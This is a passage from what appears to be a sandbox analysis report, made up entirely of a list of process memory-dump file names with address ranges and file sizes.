                                                                                                                                                                                                                4KB

                                                                                                                                                                                                              • memory/4280-202-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                              • memory/4280-212-0x00000000015A0000-0x00000000015E7000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                284KB

                                                                                                                                                                                                              • memory/4288-346-0x00000000000A0000-0x00000000000A1000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4KB

                                                                                                                                                                                                              • memory/4288-337-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                              • memory/4288-370-0x0000000006EA0000-0x000000000739E000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                5.0MB

                                                                                                                                                                                                              • memory/4324-234-0x0000000007FF0000-0x0000000007FF1000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4KB

                                                                                                                                                                                                              • memory/4324-238-0x0000000007AF0000-0x0000000007AF1000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4KB

                                                                                                                                                                                                              • memory/4324-207-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                              • memory/4324-233-0x0000000002F20000-0x0000000002F28000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                32KB

                                                                                                                                                                                                              • memory/4324-223-0x0000000000D60000-0x0000000000D61000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4KB

                                                                                                                                                                                                              • memory/4328-368-0x00000000056C0000-0x00000000056C1000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4KB

                                                                                                                                                                                                              • memory/4328-318-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                              • memory/4328-347-0x0000000000C60000-0x0000000000C61000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4KB

                                                                                                                                                                                                              • memory/4372-272-0x0000000006FB0000-0x0000000006FB1000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4KB

                                                                                                                                                                                                              • memory/4372-237-0x0000000007500000-0x0000000007501000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4KB

                                                                                                                                                                                                              • memory/4372-256-0x0000000006F70000-0x0000000006F71000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4KB

                                                                                                                                                                                                              • memory/4372-302-0x0000000007160000-0x0000000007161000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4KB

                                                                                                                                                                                                              • memory/4372-210-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                              • memory/4372-235-0x0000000004910000-0x0000000004943000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                204KB

                                                                                                                                                                                                              • memory/4372-226-0x0000000000150000-0x0000000000151000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4KB

                                                                                                                                                                                                              • memory/4372-270-0x00000000049E0000-0x00000000049E1000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4KB

                                                                                                                                                                                                              • memory/4372-252-0x0000000006F10000-0x0000000006F11000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4KB

                                                                                                                                                                                                              • memory/4396-436-0x0000000005000000-0x00000000054FE000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                5.0MB

                                                                                                                                                                                                              • memory/4396-396-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                              • memory/4456-264-0x00000000050D0000-0x00000000050D1000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4KB

                                                                                                                                                                                                              • memory/4456-225-0x00000000006F0000-0x00000000006F1000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4KB

                                                                                                                                                                                                              • memory/4456-214-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                              • memory/4456-255-0x0000000001120000-0x0000000001121000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4KB

                                                                                                                                                                                                              • memory/4456-236-0x0000000004F70000-0x0000000004F71000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4KB

                                                                                                                                                                                                              • memory/4460-381-0x000000000041882E-mapping.dmp
                                                                                                                                                                                                              • memory/4460-422-0x0000000005420000-0x0000000005A26000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                6.0MB

                                                                                                                                                                                                              • memory/4492-466-0x0000000004FB0000-0x00000000055B6000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                6.0MB

                                                                                                                                                                                                              • memory/4492-449-0x0000000000418826-mapping.dmp
                                                                                                                                                                                                              • memory/4512-442-0x00000000051D0000-0x0000000005246000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                472KB

                                                                                                                                                                                                              • memory/4512-377-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                              • memory/4524-244-0x0000000002DC0000-0x0000000002DF2000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                200KB

                                                                                                                                                                                                              • memory/4524-251-0x0000000002E20000-0x0000000002E21000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4KB

                                                                                                                                                                                                              • memory/4524-224-0x0000000000C80000-0x0000000000C81000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4KB

                                                                                                                                                                                                              • memory/4524-232-0x0000000002ED0000-0x0000000002ED1000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4KB

                                                                                                                                                                                                              • memory/4524-292-0x0000000005590000-0x0000000005591000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4KB

                                                                                                                                                                                                              • memory/4524-219-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                              • memory/4584-469-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                              • memory/4784-241-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                              • memory/4784-267-0x0000000004654000-0x0000000004755000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                1.0MB

                                                                                                                                                                                                              • memory/4784-278-0x0000000004760000-0x00000000047BF000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                380KB

                                                                                                                                                                                                              • memory/4788-341-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                              • memory/4788-364-0x0000000005580000-0x0000000005A7E000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                5.0MB

                                                                                                                                                                                                              • memory/4788-352-0x0000000000C60000-0x0000000000C61000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4KB

                                                                                                                                                                                                              • memory/4796-243-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                              • memory/4796-247-0x0000000000400000-0x0000000000455000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                340KB

                                                                                                                                                                                                              • memory/4844-248-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                              • memory/4968-257-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                              • memory/4968-293-0x0000000007B70000-0x0000000007B71000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4KB

                                                                                                                                                                                                              • memory/4968-285-0x00000000051E0000-0x00000000051E1000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4KB

                                                                                                                                                                                                              • memory/4980-338-0x000000001AED0000-0x000000001AED2000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                8KB

                                                                                                                                                                                                              • memory/4980-323-0x00000000002B0000-0x00000000002B1000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4KB

                                                                                                                                                                                                              • memory/4980-317-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                              • memory/5016-383-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                              • memory/5036-282-0x00000255BA940000-0x00000255BA9B4000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                464KB

                                                                                                                                                                                                              • memory/5036-265-0x00007FF6ADAD4060-mapping.dmp
                                                                                                                                                                                                              • memory/5036-480-0x00000255BA9C0000-0x00000255BA9DB000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                108KB

                                                                                                                                                                                                              • memory/5036-481-0x00000255BD300000-0x00000255BD406000-memory.dmp
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                1.0MB

                                                                                                                                                                                                              • memory/5096-325-0x0000000000000000-mapping.dmp